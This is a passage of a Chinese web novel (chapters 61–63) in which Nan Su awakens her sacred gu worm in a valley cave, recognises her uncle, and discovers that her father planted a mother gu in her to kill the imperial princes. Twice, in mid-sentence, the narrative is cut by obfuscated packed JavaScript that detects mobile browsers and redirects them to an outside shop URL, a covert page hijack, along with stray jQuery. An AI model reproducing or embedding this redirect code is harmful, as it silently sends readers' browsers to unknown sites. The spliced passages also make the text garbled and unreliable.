她试探着又将手指轻轻点在沈序的眉间,沈序的身体在这短短的时间内竟然有了点向好的趋势。 南夙收回手,指尖微微发颤,这究竟是怎么回事? “圣蛊的用处本就是治病救人。” 身后忽然传来那个年轻男子的声音。他靠在门框上,双臂抱在胸前,看着她的动作。 南夙转头看着他。 “很疑惑?”那人缓缓开口,“你体内的蛊是自己种的?” 南夙皱着眉,没有说话。虽然这人救了他们,但此刻她不敢相信任何人。 那人像是看出了她的犹豫,低头轻笑了一声,没再等她的答案,也不管她听没听,自顾自地说道:“给你下蛊的人将这枚蛊重新炼过了,圣蛊本来的作用是救人,你体内的是什么?” 他轻轻乜了南夙一眼,“感知?还是——寄生?” 南夙忽然收紧手指,攥紧了衣裙,但她面上却保持着镇定。 南夙掀起眼眸看向他。“你知道我体内有蛊?” 年轻男子没有立刻回答。他走进来,在火塘边坐下,拿起铁钳拨了拨柴火。火光映亮了他的侧脸,下颌线条利落,鼻梁高挺。 “你落水的时候浑身都在发光,是个人都看得见。” 南夙的瞳孔微微收缩。 发光,是说她手上这些突然出现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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他沉默了一会儿,然后说:“你那个同伴,他体内的东西不是普通的蛊。那是黑苗的新蛊,和我们认知中的一切蛊虫都不一样。它的碎片会一直留在他体内,不会要他的命,但会让他恢复得很慢。即使伤口愈合了,那些碎片也会像砂砾一样磨着他的经脉,让他无法恢复从前的力气。” 南夙的眉头拧紧了。“你知道怎么除掉那些碎片?” “知道。”南陌站起身,走到门口,掀开竹帘,指着远处山谷尽头被藤蔓覆盖的一面山壁。 “谷中有一处地方,长着一种叫‘解蛊草’的东西。把它碾碎,和着红谷源头的水敷在伤口上,就能把那些碎片引出来。” 南夙顺着他的手指看过去。那面山壁看起来和谷中其他的山壁没什么区别,覆满了藤蔓和蕨类植物,看不出有什么特别之处。 “我凭什么信你?” 那人轻笑一声,张开双臂说了一句南夙无法反驳的话,“很显然,现在除了信我,你找不到任何别的人。” 南夙沉默着没有出声,像是认同了他说的话,那人也继续说道。 “那东西长在谷中最深处的一个溶洞里。溶洞很大,岔路多,没有人带路进不去。而且——”他顿了顿,似乎在斟酌用词,“解蛊草不能见铁器,不能见明火,必须用手采,用竹刀割,采下来之后一个时辰之内必须用上,否则就失效了。所以不能让别人代劳,得你自己去。” 南夙看着他。“你不去?” “我老了,走不了那么远的路。”南陌说这话的时候面不改色,虽然他看起来最多三十出头,步伐稳健,腰背挺直,怎么看都不像“老了走不了路”的样子。 南夙没有拆穿他。她只是沉默了一会儿,然后问:“来回多久?” “脚程快的话,一天。” “我去。”南夙说,“但我要先确认他还活着。” 南陌点了点头,侧身让她进去。 南夙重新走回沈序身边。她伸出手,掌心悬在他的胸口上方,银色的光芒渗入他的体内——心跳有力,呼吸平稳,除了那些该死的黑色碎片,一切都在好转。 她的手不着痕迹地擦过沈序的耳边。 “看好他。”南夙呢喃着,没有发出声音。 她收回手,站起身。 “给我指路。” 61.第 61 章 那人说的那句话让南夙无法反驳,他们现在,确实找不到其他任何一个能够信任的人。那人救了他们,而且取出了沈序体内的子蛊,据南夙所知,在灵诏应当没有出现过生剥蛊虫还能保证别人活着的人。 为了救沈序,南夙决定相信眼前的人一次。 南陌从墙上取下一只竹篓,递给她。篓子里放着一把竹刀、一只竹筒和几根麻绳。 “顺着溪流往上走,走到水源尽头,就能看见溶洞的入口。进去之后沿着左边的石壁走,看见地上有白色石笋的地方就往右拐,走到头就是了。解蛊草长在水边,叶子是红色的,很好认。” 南夙接过竹篓背在身上。 “还有一个事。”南陌在门口叫住她。他靠在门框上,双手插在袖子里,看起来懒洋洋的,但他的眼睛很认真。 “什么事?” “你的眼睛。”他说,“你大概自己知道,遇水就会变成这样。” 南夙没有说话。她是知道了,刚刚才知道的。 “这不是坏事。”南陌的语气忽然变得有些不一样,像是在说一件很重要的事情,但又刻意压着不让自己显得太郑重,“你体内的圣蛊本救属水,需要水才能觉醒。红谷的水来自地底深处的泉眼,里面有些东西,能让你那只蛊醒得更彻底一些。你这次落水,它醒了大半,但没有全醒。等你走到水源尽头的时候,那里的水比谷中的更纯,你的蛊会醒得更彻底。” “醒得更彻底又怎样?”南夙问,“它又不能救人。” 南陌看了她一眼,目光中有一瞬间闪过某种复杂的情绪,但很快就被他压了下去。他恢复了那副懒散的样子,耸了耸肩。 “醒得彻底了,至少你能感知得更清楚。你之前能感知到别人体内的蛊虫,对吧?但险山上那些人,你一个都没感知到。” 南夙抬起眼眸看向他,没有解释自己早就知道那些人已经换了命蛊,所以自己感知不到是很正常的。 “因为他们的蛊是新的。”南陌说,“你的圣蛊不认识它们,所以感知不到。就像两个人说不同的语言,你说你的,他说他的,互相听不懂。但如果你体内的圣蛊完全觉醒,它就能‘听懂’那些新蛊——至少能感知到它们的存在。下次再遇上,你就不会措手不及了。” 南夙沉默了很久。 “你好像什么都知道。” 南陌笑了一下,笑意很淡,嘴角只是微微弯了弯。 “在这个谷里住了这么多年,总得找点事情琢磨。” 他转身走回屋内,从火塘边拿起那只陶碗,递给她。“把这个喝了。你刚醒,体力不够,走不到一半就得趴下。” 事到如今,再扭捏与怀疑也没有意义,南夙接过碗,一饮而尽。药汁苦得发涩,但入喉之后有一股清凉的感觉从胃里升起来,蔓延到四肢百骸。 “我还有一个问题。”她把空碗递还给南陌。 “说。” “你刚刚说的寄生是什么意思?” 南陌看了他一眼,没有立刻解释,而是道:“等你回来,我自然会告诉你。” “行。” 她应完,转身走进了山谷的晨雾中。 南陌站在门口,看着她的背影消失在溪流边的雾气里。他脸上的懒散一点一点地褪去了,露出底下那张年轻而疲惫的脸。 他想起很多年前,另一个女子也是这样从这间屋子里走出去,背着竹篓,沿着溪流往上走,消失在晨雾中。 那个女子再也没有回来过。 那是他的姐姐。 他转身提步走到榻边,站在床边看了会昏睡着的男人。 忽然,他感知到一股陌生的气息,他目光瞬间凌厉起来,他屏息感受着那道气息的来处,捕捉到的瞬间,立刻将就要出手。 下一秒,却见枕头边钻出来一个圆滚滚的脑袋。 蛇? 南陌皱着眉与那蛇对视了片刻,忽然就明白过来这小东西出现在这里的原因。 “这丫头倒是真看重你。”他像是自言自语般道。 溪流越往上走,水声越大。 南夙沿着溪边的碎石路走了大约一个时辰,两边的山壁越来越窄,头顶的天空越来越细,到最后只剩下一条白线。雾气在溪面上翻涌,将周围的景物都吞没了,她只能凭着水声和脚下的路向前走。 她的体力在一点一点地恢复。南陌给她的那碗药汁确实有用,从胃里蔓延出来的那股清凉之意像是一双手,推着她的后背往前。 水声越来越大,到最后甚至变成了轰鸣。她转过一个弯,看见了水源的尽头——一面几乎垂直的山壁,溪水从山壁半腰的一道裂缝中奔涌而出,形成一道细长的瀑布,落入下方的深潭之中。潭水清澈见底,水底的石头泛着幽幽的蓝光,像是有什么东西在水下发光。 溶洞的入口在瀑布的右侧,被一层藤蔓遮住了大半。南夙拨开藤蔓,走了进去。 洞内的空气比外面冷了许多,潮湿的岩石壁上渗着水珠,在黑暗中泛着微弱的荧光。她点燃别在腰间的松明子,橘红色的火光在洞壁上投下摇晃的影子。 她按照南陌说的,沿着左边的石壁走。洞里的岔路确实很多,每一条都黑漆漆的,深不见底,但左边的石壁上每隔几步就有一道天然的白色纹路,像是指路的标记。走了大约半个时辰,她看见了地上的白色石笋——密密麻麻的,像是从地上长出来的牙齿。 她往右拐。 石笋越来越多,越来越密,到后来她不得不在石笋之间侧身穿行。松明子的火光在石笋上折射出奇异的光芒,白色的石笋变成了七彩的,像是被谁涂上了一层颜料。 然后她看见了水。 一潭极小的水,不过三尺见方,嵌在溶洞最深处的地面上。水潭的边缘长着一丛红色的植物,那植物叶子细长,边缘卷曲,在火光下红得像血。 解蛊草。 南夙蹲下来,从竹篓里取出竹刀,小心翼翼地割了几片叶子,放进竹筒里。她正要起身—— 她看见了水潭中自己的倒影。 琉璃色的眼睛,在火光下泛着银光。 她盯着水中的自己看了很久。 然后,她注意到了一件事。 水潭底部有什么东西在发光。 不是石笋的荧光,不是松明子的火光,而是一种银色的、柔和的光芒,和她体内圣蛊的银光一模一样。她伸出手,指尖触到水面。很奇怪,水是温的。 她将整只手浸入水中。银色的光芒从她的指尖涌出,和水底的银光融为一体,整个水潭都在那一瞬间亮了起来,像是一面被点燃的镜子。 南夙感觉到体内的圣蛊在剧烈地震动。 不是痛苦,不是挣扎,而是一种近乎疯狂的喜悦——像是一个在黑暗中沉睡了太久的人终于看见了光。银色的光芒从她的皮肤下涌出来,从手背蔓延到手臂,从手臂蔓延到肩膀,从肩膀蔓延到全身。她整个人都被银光包裹了,像是一尊被铸造出来的银像。 然后,她看见了。 不是用眼睛看见,而是用圣蛊感知到——整个溶洞,整个山谷,整个红谷的地底深处,都布满了银色的纹路。那些纹路像是一张巨大的网,将整座山谷包裹在其中,而这张网的中心,就是她面前的这潭水。 水潭底部的银光越来越亮,有什么东西从水底浮上来了,南夙低头仔细看了一下,是一只蛊虫。不,不是一只,是无数只。无数只银色的、细小的、像尘埃一样的蛊虫从水底升起,围绕在她的手指周围,像是在朝拜什么。 南夙愣住了。 这些蛊虫……和她体内的圣蛊一模一样。不,不是一模一样,它们就是圣蛊的一部分。是三百年来,每一代红苗族长在传承圣蛊时流失在祖灵之泉中的力量。这些力量一直沉在水底,等待着被重新唤醒。 而现在,它们找到了宿主。 银色的蛊虫们钻入她的指尖,汇入她体内的圣蛊之中。她感到自己的身体像是被注入了某种滚烫的液体,从指尖到掌心,从掌心到手腕,从手腕到手臂,一路向上蔓延。银色的光芒越来越亮,到最后她不得不闭上眼睛。 当她再次睁开眼睛的时候,溶洞恢复了原来的样子。水潭不再发光,石笋不再七彩,松明子只剩下一小截,在手中奄奄一息地燃烧着。 但她能感觉到,有什么东西不一样了。 她低头看着自己的手。银色的纹路比来时更加清晰,更加深刻,但这不是最重要的。最重要的是,她感知到了。 她感知到了整座红谷。 每一间叶片屋里的人,每一个人体内的蛊虫——红苗的蛊虫,温和的、沉睡的、像冬眠的蛇一样的蛊虫。她能感知到它们的种类、强弱、位置,甚至能感知到它们主人的身体状况。几百个人的信息同时涌入她的脑海,像几百条溪流汇入同一片湖泊,却没有让她感到混乱——每一條信息都清晰得像被标注过一样。 这是圣蛊完全觉醒之后的力量。 不是治疗,不是压制,只是感知。但感知到了极致,比任何力量都可怕。 因为当你能够感知到一切的时候,你就能够预判一切。 南夙深吸一口气,将竹筒塞好,背起竹篓,转身走出了溶洞。 她回到村子的时候,已经是傍晚了。 山谷里的光线暗得很快,叶片屋的窗口透出橘红色的火光,像是嵌在山壁上的星星。南陌站在村口等她,手里端着一碗热汤。 “回来了?”他问,语气平淡得像是在问“今天天气不错”。 南夙将竹筒递给他。 南陌接过来,打开看了一眼,点了点头。“就是这个。”他将竹筒递给身旁一个年轻人,“拿去捣碎,和着源头的水敷在那人伤口上。” 年轻人接过竹筒,小跑着离开了。 南夙站在原地,看着南陌。天色已经暗了下来,村口的火把照亮了他半张脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359165|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——年轻的、棱角分明的脸。 “你今年多大?”南夙忽然问。 南陌愣了一下,似乎没想到她会问这个。他笑了笑,“三十七。” 三十七。 南夙抬眼看了他一会,却没说什么。只是一个很久以前在母亲的嘴里听过的一个人。 那张脸上与阿姎有些相似地五官。 舅舅。 是你吗? “你之前说的那些——红苗、白苗、黑苗,圣蛊的来历,”南夙的声音很平静,“你瞒了我一些事情。” 南陌的手微微顿了一下。 “你怎么知道?” “我的蛊醒了。”南夙说,“我能感知到很多事情。比如——”她抬起眼睛,那双琉璃色的瞳孔在火光下像两面冰冷的镜子,“我能感知到你体内的蛊,和你衣袍上的银色纹路是同源的。那些纹路不是装饰,是蛊术的符文。你的蛊很强,比谷中任何人都强。你不是‘走不了那么远的路’,你是不想自己去。” 南陌沉默了。 火把的光在他脸上跳动,将他的表情切割成明暗两半。 “解蛊草不需要什么‘一个时辰之内必须用上’,你在骗我。”南夙继续说,“你让我自己去溶洞,不是因为解蛊草不能见铁器、不能见明火,而是因为那潭水——那潭能让圣蛊完全觉醒的水。你需要我接触到那潭水。” 南陌没有说话。 “为什么?” 沉默持续了很久。 南陌低下头,看着自己腰间的银饰。那些细小的银片在火光下微微晃动,发出细碎的声响。 “你体内的圣蛊,”他终于开口,声音比之前低了几分,“是红苗的东西,几十年前,被人带走了。” 被人带走了,那个人,是阿姎吗? 他抬起头,看着南夙。 “圣蛊不是一只,而是有一支,你体内这只,是这支圣蛊的一部分,它们全都来自溶潭。” 南夙的手指微微收紧。 “今天你回去了。”南陌的声音变得很轻,“你带着那一半圣蛊回到了祖灵之泉,和另一半汇合了。从这一刻起,你体内的圣蛊才是完整的。完整的圣蛊不仅能感知,还能——” 他顿住了。 “还能什么?” 南陌看着她,目光中有什么东西在翻涌。他张了张嘴,似乎想说什么,但最终只是摇了摇头。 “先救人。”他说,“那些事情,以后再说。” 南夙盯着他看了很久。她能够感知到他体内的蛊虫在剧烈地活动,像是他情绪的外化——他在隐瞒什么,而且隐瞒得很用力。 但她没有追问。 她转身朝着沈序所在的屋子走去。 南陌站在原地,看着她的背影消失在夜色中。他慢慢地蹲了下来,坐在村口的石头上,从袖子里摸出一只小小的银哨子,放在嘴边,轻轻地吹了一声。 哨声很轻,轻得几乎听不见,但谷中所有叶片屋里的灯火都在那一瞬间同时跳动了一下。 “姐姐,”他对着空气低声说,声音轻得像是一片落叶,“你的女儿回来了。带着你的圣蛊,回来了。” 没有人回答他。 只有溪流的水声在谷中回荡,和三百年前一模一样。 南夙走进屋子的时候,那个年轻人已经将捣碎的解蛊草敷在了沈序的伤口上。红色的草汁渗透了布条,散发出一股浓烈的、辛辣的气味。 她走到矮榻边坐下,伸出手,掌心悬在沈序的胸口上方。银色的光芒从她的指尖渗出——这一次,光芒比之前明亮了数倍,也更加柔和。 她感知到了。 那些黑色的碎片还在,但解蛊草的药力正在将它们一点一点地从血管和筋络中“拔”出来,像是拔掉嵌在肉里的刺。碎片在药力的作用下慢慢移动到皮肤表面,然后顺着草汁渗出来,化成细小的黑色颗粒,凝固在布条上。 这个过程很慢,但很顺利。 南夙收回手,靠在矮榻旁边的墙上,长长地呼出一口气。 她低头看着自己的手背,银色的纹路在手腕间流转。 她的眼睛已经变成了琉璃色,恐怕日后用什么也遮不住了。 但她忽然觉得,遮不住也没什么不好。 她抬起头,看向矮榻上的沈序。他的呼吸比之前平稳了许多,面色也不再是那种吓人的苍白,嘴唇上有了一丝淡淡的血色。 南夙伸出手,替他掖了掖被角。动作很轻,像是怕惊醒一个沉睡的孩子。 “你快点好起来。”她低声说,“我们还要去灵诏。” 沈序没有回应。他沉沉地睡着,眉头微微舒展,像是在做一个还算不错的梦。 屋外,溪流的水声潺潺不断,像是这个与世隔绝的山谷在低声吟唱着一首古老的歌谣。 南夙靠在墙上,慢慢地闭上了眼睛。银色的纹路在她手背上缓缓流转,像是在守护着什么。 62.第 62 章 南夙是被一阵压抑的咳嗽声惊醒的。 她睁开眼的时候,发现自己不知什么时候从墙上滑坐到了地上,后背靠着矮榻的床脚,脖颈因为姿势不对而酸痛发紧。屋内的火塘已经烧得差不多了,只剩下几簇细小的火苗在灰烬中苟延残喘,将屋里的光线压得极低。 咳嗽声是从矮榻上传来的。 南夙猛地清醒过来,撑起身子凑到沈序面前。他没有醒,眉头紧蹙,嘴唇微微翕动,像是在说什么听不清的梦话。那几声咳嗽似乎耗尽了他好不容易积攒起来的一点力气,他的呼吸又变得浅而急促,额头上渗出细密的汗珠。 南夙伸手探了探他的额头,有些烫,但不是高烧,大约是伤口在愈合时的正常反应。她用手背替他拭去额头上的汗,又将他身上的被褥往上拉了拉。红色的草汁已经从布条上渗透出来,在粗布上晕开一片暗沉的赭色,但那些黑色的颗粒不再增加,这说明碎片已经拔除干净了。 她重新坐回地上,靠在矮榻边,没有再睡。 屋内很安静,只有火塘里偶尔发出的细微噼啪声和沈序绵长的呼吸声。屋外隐约能听见溪流的水声,远远的,像是从另一个世界传来的。 南夙低头看着自己的手背。银色的纹路在黑暗中依然清晰可见,像是被谁用银线绣在了她的皮肤上,泛着幽幽的冷光。她用另一只手的指尖轻轻抚摸那些纹路,不痛不痒,只是微微发热,像是有什么东西在皮肤下面缓慢地流淌。 她想事情想得出神,连竹帘被人掀开的声音都没有听见。 “没睡?” 声音从门口传来,压得很低,像是怕吵醒沈序。那个年轻的村长端着一只陶碗走进来,碗里盛着热腾腾的米粥,米香在充斥着药味的屋子里格外突兀。 南夙抬头看了他一眼。火光在他年轻的脸上跳动,让她有一瞬间的恍惚,她想起今天在溶洞里的那个水潭,想起水底那些银色的光芒,想起那些细小的蛊虫钻入她指尖时的温热触感。 南陌走过来,将米粥放在她手边。 “吃点东西吧。”他说完转身要走。 “舅舅。”身后南夙毫无预兆地开口,那语气是如此笃定。 南陌的脚步顿了一下。 他既没有答应也没有否认,只是沉默着走到南夙身边,在她身边坐下。火光映在他脸上,那双褐色的眼睛里有什么东西在缓慢地翻涌,但他没有否认,也没有确认,只是安安静静地坐着,双手搭在膝盖上。 “我有话问你。” 南夙没有追问他的沉默。她只是看着他,目光平静得像一面结了冰的湖。 “你说红苗的圣蛊是三百年前被带走的,”她开口了,“被谁带走的?” “红苗最后一任族长。” “他为什么带走圣蛊?” 南陌沉默了一会儿。“因为三支分裂。白苗和黑苗都想得到圣蛊,红苗族长不愿意圣蛊落入任何一方之手,便带着它离开了。后来的事情,你应该比我清楚,圣蛊出现在了灵诏王室体内,成为了灵诏王室的血脉传承。” “阿姎就是那个把圣蛊带进灵诏王室的人。”南夙说。这不是疑问,是陈述。 南陌没有说话,算是默认了。 南夙沉默了片刻。她的手指无意识地摩挲着手背上的银色纹路,像是在抚摸一件不属于自己的东西。 “我的蛊,”她忽然说,“是诏父给我种的。” 南陌的手指微微动了一下。他低下头,狠狠闭上眼睛,像是在强迫自己接受这个事实。 “你阿姎,什么时候死的?” “九年前。”南夙道,“我六岁那年。” “为什么,你会知道阿姎已经离开了?”南夙问道。 南陌抬眼看着她,看着她天下绝无仅有的眼睛,像是在那双眼睛后面看见了曾经与自己朝夕相处的姐姐。 他说:“圣蛊是红苗的东西,只有红苗人能够成为它的宿主,它能够通过血脉替换,而替换的要求是,上一任宿主身死。这一枚圣蛊在你体内,我也就知晓,她已经离开的事实。” 他的声音越来越低,但每个字都清晰得像刻在石头上。 火光在两人之间跳跃,像是在附和着回忆的闪动。南夙脑中突然闪过阿姎离开那时的场景,她斜躺在床踏上,手垂在塌边。她是被人生剥了圣蛊。 “所以,害死阿姎的人不是我。”南夙忽然呢喃出声。 “什么?”南陌听见她的呢喃。 “所以,害死阿姎的不是我!” 南夙拔高声音,激动地站了起来。 她的话让南陌一头雾水。 南夙自顾自解释道:“她是被人生剥了圣蛊,她是被……” 她的话停了下来,因为在刚刚那一刻,她忽然意识到一件事。那个时候,能够做到生剥阿姎体内圣蛊的人,只有一个——诏父。 “诏父?”她有些不可置信地喊出来。 “你在说什么?”南陌看出她状态不对,起身一把抓住了她的手腕,试图唤醒她。 可南夙却好似感知不到一般,她陷在自己的世界里,眼前闪过的是阿姎生前在灵诏的点点滴滴。她和诏父明明那么相爱,怎么会呢?诏父怎么会杀死她? 可是一旦她将所有的线索串在一起,又不得不接受这个事实。阿姎离开前突然生了一场重病,那段时间,诏父对外说为了让阿姎养身体,就连南夙和乌辞都不能见她。之后某一天,宫里就传来阿姎离开的消息。再后来,诏父忽然说要亲自给南夙种蛊。 现在想来,就是那段时间,诏父对阿姎下了手吗? “南夙。”南陌大声吼道。 “嗯?”南夙终于醒来,眼瞳转动着看向南陌。 “怎么了?跟我说说,嗯?”南陌安抚着她的情绪。 就这一句话,却让南夙一瞬间心神俱裂,她感觉这辈子好像再也没法直视南陌的眼睛,就像这辈子她永远也无法释怀阿姎的离开了。 她踉跄着坐了回去,将自己方才所想一一讲给南陌听。 屋子里安静得只剩下火塘里柴火坍塌的细微声响。 南陌看着南夙,目光中有什么东西在缓慢地碎裂。他的喉结滚动了一下,像是咽下了什么很难咽下去的东西。 “你阿姎……”他的声音有些哑,顿了顿,整理了一下自己的情绪,才继续往下说,“你阿姎离开红谷的时候,年纪还很小。” 他用了“阿姎”这个词。不是“你母亲”,是“你阿姎”。这个称呼从他嘴里说出来带着一种奇异的生涩,像是在说一个他很不习惯叫出口的身份。 “她叫南忧。”他说,“忧患的忧。她出生那天,谷里的桑树忽然开满了花。那一年本该是桑树的小年,没有人知道为什么它们会开花。” 南夙听着这个名字——南忧。不是灵诏宗谱上那个冰冷的“南氏”。是一个有名字的人,一个和红谷有关联的人,一个在桑树开花的日子里出生的人。 “她离开红谷的时候多大?”南夙问。 “十四岁。” 南夙的手指微微收紧了。十四岁。比她现在还小。一个十四岁的女孩独自走出这座山谷,走进一个她完全陌生的世界,再也没有回来。 “她为什么离开?” 南陌低下头,看着自己腰间的银饰。那些细小的银片在火光下微微晃动,发出细碎的声响。 “为了寻找你体内这一只圣蛊。” 他的声音很轻,但每个字都沉得像石头。 “三支分裂之后,红苗退入红谷,白苗留在灵诏,黑苗远走。直到百年前黑白苗合并。但这三百年来,黑白苗一直没有停止做的一件事,就是寻找红苗。寻找红苗,就是为了寻找圣蛊。她在灵诏游历了两年,却始终没有找到圣蛊的踪迹。她就想,当年那个前辈带走圣蛊时,或许去了其他地方,将圣蛊也一起带去了其它地方。此后,她前往了西域、北狄等地方,最后,是在大景找到的。” 南陌伸出手,指着屋子的地面,像是在指着整座山谷。 大景,居然这么远。 “为什么一定要找回这只圣蛊?” “若是不找回来,红苗就要亡了,圣蛊被带走后,圣潭凋零的速度比所有人想象的都要快,这期间,甚至还差点干涸过。圣蛊是养育整座山谷的营养所在,它若是枯了,整个山谷会在瞬间凋零。” “什么?”南夙没想到居然这一枚圣蛊居然会涉及到一族的安危。可若是圣蛊如此重要,阿姎当年找到圣蛊后为什么会留在了灵诏,而不是回到红谷呢? 南陌像是读懂了她眼神中的疑惑,没等她开口问就解释道;“她没回来,因为她不能回来。” 他转头看向窗外,看向山谷的深处,他的声音变得很低:“那年,圣潭忽然躁动,险些让外人闯进来,她若是带着圣蛊回来,圣潭的躁动会更加剧烈。到那时,红谷必然会被外面的人发现。” “她想出了另一个办法。”南陌说,“红苗的圣蛊在她体内。如果她带着圣蛊离开红谷,找到一个即使灵诏所有人都发现也不能威胁到圣蛊的地方,那个地方,就是灵诏王城。” “她没有回红谷,而是找到了灵诏的王室。”南陌道,“不是找到了那个人,是找到了那个位置。她成功了,而更让大家惊喜的是,这些年在外有力期间,她在外面学得了不少练蛊之术,借着一身的本事,她将圣蛊伪装成了一枚普通的蛊虫,躲过了一劫。” 他说到这里,嘴角微微抽动了一下。 “她走的那天,我站在谷口送她。那时候我才四岁,什么都不懂。她蹲下来,帮我整了整衣领,对我说——‘陌儿要照顾好自己,等姐姐回来。’” 他笑了一下。那个笑容很淡,淡得几乎看不出来,但南夙看见了。 “她骗了我。”他说,“她再也没有回来。” 南夙没有接话。她沉默了很久,久到火塘里的火光又矮了几分。 “是我害死了她。”山谷里的天压得好低,像是一块巨大的白岩压在南夙的背上,叫她挺不起身子来,如果当时她年长一些,懂事些,或许就能看出诏父的不对劲。 可即使看出不对劲,她又能做什么呢? 不,即使她做不了什么,她还有阿维呢。 阿维。 阿维那段时间在做什么呢? 南夙忽然警觉起来,努力回忆当时的事。对了,那时,阿维也生病了,忽然就发了热,躺了半个多月,恢复时,阿姎已经离开了。 现在想来,恐怕连阿维的病都是诏父有意为之吧。他竟然真能做到如此算无遗策吗? “好了,不是你的错,这种事,就是成年人也是无法想象的,更何况你当时还只是一个不懂事的小孩。” 南陌抬起头,看着她。他忽然抬手揉揉南夙的脑袋,“现在,先让我来看看,你体内的母蛊有没有被剔除干净。” “什么母蛊?”南夙被他毫无预兆的话说得一头雾水。 南陌道:“控制床上那人体内子蛊姓名的母蛊就在你的体内。” “什么?怎么会?”南夙不可置信地瞪大眼睛。 南陌却好似早已知晓她会有如此反应,解释道:“应当是在给你种圣蛊的时候下的,我前日我看时已经被你养得很强大了,因此即使取出,也还是有残骸会影响,我昨日让你去溶洞,也有这个原因,潭里的圣蛊能够帮你进化这些残骸。” “可是这么多年,我为什么从来没有感受到自己体内还有另一种蛊虫的存在?”南夙不是不相信南陌的话,只是她更相信自己的感觉。 可惜这一次,她的感觉注定错了。 南陌道:“与圣蛊融在一起,力量全然被圣蛊压制着,你自然感受不到。不过,这枚子母蛊的伤害力可是因为圣蛊而大大提高了。” 南夙呆滞在原地,久久都没法接受他话中的意思。 南陌却还没有停,“你触碰过那人的血了?”他指着榻上的沈序。 “什么?”南夙仍没有反应过来。 “不用我解释你应当也知道,子蛊入体的前提之一,是母蛊要接触过人的血液。那人体内有你的子蛊,你自然是触碰过他的血液了,还能记得是什么时候吗?” 大婚 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南夙没有说话。她的脑海中有什么东西在飞速地运转,像是一块破碎的镜子,瞬间拼凑起来,虽有裂痕,却足以看清。 新婚夜那天,沈序的手受了伤。南夙不知道什么时候触碰到了沈序的血,第一枚子蛊下在了沈序的体内。 然后,那夜他在会侯府的时候见到了二皇子韩世衡,第二枚子蛊在韩世衡身上。 接着是韩砚,杭州回来之后南夙再见到韩砚,就感知到了他体内的蛊虫。 可自他们体内子蛊的引子来源都是沈序。 所以,沈序他…… 是陛下的孩子吗?怎么会呢? 南夙的脸色白得像纸。 “诏父他……”她的声音从喉咙里挤出来,像是被什么东西掐住了,每一个字都带着颤抖,“他知道子母蛊的作用。他将母蛊种在我体内,是为了——” 她没有说下去。 因为答案已经清清楚楚地摆在了她的面前,像一把被磨得锃亮的刀,刀刃上倒映着她自己的脸。她入京之后见到的皇子就这几个,薛鹤之是在死后才见到,因此子蛊没能种到他的体内,而二公主韩清棠并不是皇后的亲生女儿,没有皇室的血脉,因此子蛊并不会到她的体内。 灵诏的王——她的父亲,从一开始就知道母蛊在她体内。他知道当她的血与别人的血接触时,子蛊会被种入那个人的体内。他知道那个人——以及那个人的亲生兄弟,都会被种入子蛊。 他把她嫁到京城,嫁入侯府,不是为了联姻。 只是想通过自己,将子蛊种进大景皇室众人的体内,这样就能做到一网打尽,而杀死他们的方法—— 是杀死自己。 他是要让她——他亲手种入母蛊的女儿——成为他在京城最锋利的一把刀。 一把甚至不需要她自己知道自己在杀人的刀。 “他要杀的是皇子。所有的皇子。”南夙的声音终于碎成了无数片。 南陌没有说话。他只是安安静静地坐在那里,看着南夙手背上那些银色的纹路在剧烈地跳动,像是一只被困在笼子里的鸟在拼命地扑打翅膀。 南夙没有哭,只是缓缓闭上了眼睛,抬起手盖在眼睛上。 “舅舅。” 她出声。 不是第一次叫。刚才他端着米粥进来的时候,她已经叫过一次了。但那时候她是在确认,是在试探,是在看他会不会否认。现在不一样。现在她是在叫一个她认识了只有一天的人,一个和她流着相同血液的人,一个在四岁时就失去了姐姐、然后在二十年后等来了姐姐的女儿的人。 南陌的身体微微颤抖了一下。 他没有应,只是坐在那里,双手搭在膝盖上,眼眶红得像被火烧过。 南夙低下头,看着自己手上流淌着的银色纹路。 “我们给阿姎报仇吧。”她没抬头,声音也是弱弱的,可南陌却感觉在那一刻,听见了最坚决的话语。 南夙抬头看向他,直视他的眼睛,像是要从他的眼睛里读出自己想要的答案。 而南陌也没有让她失望,他轻轻点了头,感觉这一秒钟像是许下了一个许多年前对另一个人的承诺。 他说:“好。” “舅舅,沈序的体内是还有另一枚蛊吗?”她忽然问道,转头看了眼榻上的沈序。 “是。”南陌应道,他说,“如果我没有看错的话,那是你阿姎的蛊。” “阿姎的?”南夙蹙着眉,似是对这个答案感到疑惑。 南陌道:“我的练蛊本领都是阿姐教的,因此从小就对阿姐的蛊很熟悉,前日替他医治时,我立刻就认出,他体内藏着一枚阿姐炼的蛊,时间很久了,应当是他刚出生时种的。想来,或许是阿姐寻圣蛊如京城时认识了某位妃子,赠予那人的吧。” “沈序不是皇子。”南夙打断道。 “什么?” 南夙抬眼,“他在京城,是镇北侯的儿子,陛下亲封的将军,不是什么皇子。” “那他怎么会?”南陌停顿下来,一想也知道当年一定出了什么事,才会让这个皇子流落在外。 “舅舅。” “怎么?” “你能帮我一件事吗?” “你说。” “我需要你帮我寄个信。” “信?寄给谁?” “京城里还有一个皇子我没有见过。”南夙平静道。 “太子。” 半月后,京城吏部侍郎的家门忽然被敲响,小厮前来开门,门外却并没有见到人,只有地面上留了一封信。 虽没有见着人,但小厮恐误了主人的事,当即捡起信送往中厅。 吏部侍郎戚禹正坐在那思春,想念自己远在西北的恋人,又愁于找不到什么机遇立功。正这时,小厮匆忙走进来,递过来一封信,说是在门外捡到的。 戚禹一边吐槽送信之人,一边拆开那封信。翻开纸叶,映入眼帘是熟悉的字迹: 兄弟,给你送功绩来了。 63.第 63 章 沈序醒来的时候,看见的第一样东西是南夙的睫毛。 